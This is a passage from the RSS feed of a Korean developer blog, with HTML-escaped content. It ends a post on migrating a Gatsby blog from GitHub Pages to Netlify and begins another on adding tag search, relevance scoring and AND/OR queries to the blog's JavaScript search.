&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Build command&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Publish directory&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;public/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;&lt;strong&gt;Environment variables&lt;/strong&gt;에 &lt;code class=&quot;language-text&quot;&gt;NODE_VERSION=18&lt;/code&gt; 추가 (Gatsby 5 호환을 위해 필수)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deploy site&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2단계: 커스텀 도메인 연결&lt;/h3&gt;
&lt;p&gt;저는 &lt;code class=&quot;language-text&quot;&gt;blog.javapark.kr&lt;/code&gt; 도메인을 사용하기로 했습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Netlify 대시보드:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Site settings → Domain management&lt;/li&gt;
&lt;li&gt;Add custom domain → &lt;code class=&quot;language-text&quot;&gt;blog.javapark.kr&lt;/code&gt; 입력&lt;/li&gt;
&lt;li&gt;Verify → Add domain&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;DNS 설정 (도메인 관리 업체에서):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;타입&lt;/th&gt;
&lt;th&gt;호스트&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CNAME&lt;/td&gt;
&lt;td&gt;blog&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;[사이트명].netlify.app&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;3단계: HTTPS 인증서&lt;/h3&gt;
&lt;p&gt;DNS 설정이 전파되면 Netlify가 &lt;strong&gt;Let&apos;s Encrypt 인증서를 자동으로 발급&lt;/strong&gt;합니다. Domain management → HTTPS 섹션에서 상태를 확인할 수 있습니다. 보통 수분에서 수시간 정도 소요됩니다.&lt;/p&gt;
&lt;h3&gt;4단계: Gatsby 설정 변경&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;blog-config.js&lt;/code&gt;에서 siteUrl을 새 도메인으로 변경합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Before&lt;/span&gt;
&lt;span class=&quot;token literal-property property&quot;&gt;siteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://javapark.github.io&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// After&lt;/span&gt;
&lt;span class=&quot;token literal-property property&quot;&gt;siteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://blog.javapark.kr&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 설정은 사이트맵, RSS 피드, 프로필 이미지 경로 등에 영향을 주므로 반드시 변경해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;전환 후 체크리스트&lt;/h2&gt;
&lt;p&gt;Netlify 배포가 완료된 후 확인해야 할 항목들입니다.&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 메인 페이지 정상 렌더링&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 포스트 내 이미지 정상 표시&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 프로필 이미지 표시&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 검색 기능 동작&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; RSS 피드 URL 정상&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 사이트맵 URL 정상&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Giscus 댓글 시스템 동작&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Google Analytics 태그 동작&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HTTPS 인증서 적용 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub Pages는 어떻게 하나요?&lt;/h2&gt;
&lt;p&gt;기존 GitHub Pages와 Netlify를 동시에 운영할 수도 있습니다. 하지만 같은 소스에서 두 사이트를 운영하면 SEO에 불리하므로 (중복 콘텐츠), 하나를 선택하는 것이 좋습니다.&lt;/p&gt;
&lt;p&gt;GitHub Pages를 중단하려면:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;리포지토리 Settings → Pages → Source를 &quot;None&quot;으로 변경&lt;/li&gt;
&lt;li&gt;또는 &lt;code class=&quot;language-text&quot;&gt;.github/workflows/gatsby.yml&lt;/code&gt; 워크플로우를 삭제/비활성화&lt;/li&gt;
&lt;li&gt;리포지토리를 Private으로 전환&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Netlify 무료 플랜에 빌드 제한이 있나요?&lt;/h3&gt;
&lt;p&gt;네, 월 300분입니다. Gatsby 블로그 빌드가 보통 2&lt;del&gt;5분 정도이므로, 하루에 2&lt;/del&gt;3번 배포해도 충분합니다. 개인 블로그라면 제한에 걸릴 일은 거의 없습니다.&lt;/p&gt;
&lt;h3&gt;GitHub Pages에서 Netlify로 전환하면 SEO에 영향이 있나요?&lt;/h3&gt;
&lt;p&gt;도메인이 바뀌면 검색 엔진이 새 URL을 다시 크롤링해야 하므로, 일시적으로 검색 순위가 변동될 수 있습니다. 기존 도메인에서 새 도메인으로 301 리다이렉트를 설정하면 영향을 최소화할 수 있습니다. 처음부터 커스텀 도메인을 사용했다면 도메인만 CNAME 대상을 변경하면 되므로 SEO 영향이 없습니다.&lt;/p&gt;
&lt;h3&gt;다시 GitHub Pages로 돌아갈 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, 언제든 가능합니다. Netlify를 해제하고 GitHub Pages를 다시 활성화하면 됩니다. 소스 코드 자체는 동일하므로 전환 비용이 거의 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시리즈를 마치며&lt;/h2&gt;
&lt;p&gt;이번 시리즈에서는 GitHub 블로그를 운영하면서 마주친 실전 문제들을 다뤘습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/07-fix-actions-deprecated/&quot;&gt;GitHub Actions deprecated 에러 해결&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/08-search-improvement/&quot;&gt;검색 기능 대폭 개선&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/09-netlify-migration/&quot;&gt;GitHub Pages에서 Netlify로 전환&lt;/a&gt; (이번 글)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;블로그를 만드는 것도 중요하지만, &lt;strong&gt;꾸준히 유지보수하고 개선하는 과정&lt;/strong&gt;이 진짜 실력을 키워주는 것 같습니다. 여러분의 블로그는 어떤 플랫폼에서 운영하고 계신가요? 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Gatsby 블로그 검색 기능 개선 — AND/OR 검색, 관련도 정렬까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 블로그에 검색 기능이 있긴 한데, 정작 원하는 글을 찾기가 어렵습니다. Gatsby 블로그의 기본 검색은 단순 문자열 매칭이라 태그로 검색도 안 되고, 결과 정렬도 날짜순이라 원하는 글을 찾기 힘들었습니다. Algolia…]]></description><link>https://blog.javapark.kr/08-search-improvement/</link><guid isPermaLink="false">https://blog.javapark.kr/08-search-improvement/</guid><pubDate>Sun, 05 Apr 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;블로그에 검색 기능이 있긴 한데, 정작 원하는 글을 찾기가 어렵습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Gatsby 블로그의 기본 검색은 단순 문자열 매칭이라 태그로 검색도 안 되고, 결과 정렬도 날짜순이라 원하는 글을 찾기 힘들었습니다. Algolia 같은 외부 서비스를 쓸 수도 있지만, 개인 블로그에 과한 느낌이 들어서 직접 개선해봤습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기존 검색의 한계&lt;/h2&gt;
&lt;p&gt;gatsby-starter-hoodie 테마의 기본 검색 코드를 보면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; filteredPosts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; posts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;post&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;frontmatter
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; lowerQuery &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; query&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLocaleLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rawMarkdownBody&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLocaleLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerQuery&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLocaleLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerQuery&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;문제점은 명확합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;문제&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;태그 검색 불가&lt;/td&gt;
&lt;td&gt;태그가 검색 대상에 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관련도 정렬 없음&lt;/td&gt;
&lt;td&gt;제목 매칭이든 본문 매칭이든 동일 취급, 날짜순 정렬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;복합 검색 불가&lt;/td&gt;
&lt;td&gt;여러 키워드로 AND/OR 검색 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;피드백 부족&lt;/td&gt;
&lt;td&gt;어디서 매칭됐는지, 결과가 없을 때 안내 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;개선 1: 검색 로직 강화&lt;/h2&gt;
&lt;h3&gt;태그 검색 추가 + 관련도 점수&lt;/h3&gt;
&lt;p&gt;제목, 태그, 본문 각각에 가중치를 부여해서 관련도 순으로 정렬합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;scorePost&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;post&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; term&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; score &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; matchType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 제목 매칭 (최우선, 100점 + 완전 일치 보너스 50점)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerTitle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    score &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerTitle &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; score &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;
    matchType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;title&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 태그 매칭 (50점)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerTags&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    score &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;matchType&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; matchType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tag&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 본문 매칭 (10점)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lowerBody&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;term&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    score &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;matchType&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; matchType &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;body&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; score&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; matchType &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;점수 체계를 정리하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;매칭 위치&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;제목 완전 일치&lt;/td&gt;
&lt;td&gt;150&lt;/td&gt;
&lt;td&gt;가장 정확한 결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제목 부분 일치&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;높은 관련도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;태그 일치&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;주제 관련성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;본문 일치&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;참고 수준&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;AND/OR 복합 검색&lt;/h3&gt;
&lt;p&gt;쉼표와 공백으로 검색 모드를 자동 판별합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;parseQuery&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;rawQuery&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;trimmed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 쉼표: OR 검색 — 하나라도 포함되면 결과에 표시&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;or&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;terms&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; trimmed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; terms &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; trimmed&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-source language-regex&quot;&gt;\s+&lt;/span&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;terms&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 공백: AND 검색 — 모든 키워드가 포함된 글만 표시&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;and&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; terms &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;single&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; terms &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;사용 예시:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;입력&lt;/th&gt;
&lt;th&gt;모드&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;단일&lt;/td&gt;
&lt;td&gt;python이 포함된 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;python django&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AND&lt;/td&gt;
&lt;td&gt;python과 django 모두 포함된 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;python, java&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OR&lt;/td&gt;
&lt;td&gt;python 또는 java가 포함된 글&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;AND 모드에서는 하나라도 매칭되지 않으면 결과에서 제외합니다.&lt;/p&gt;
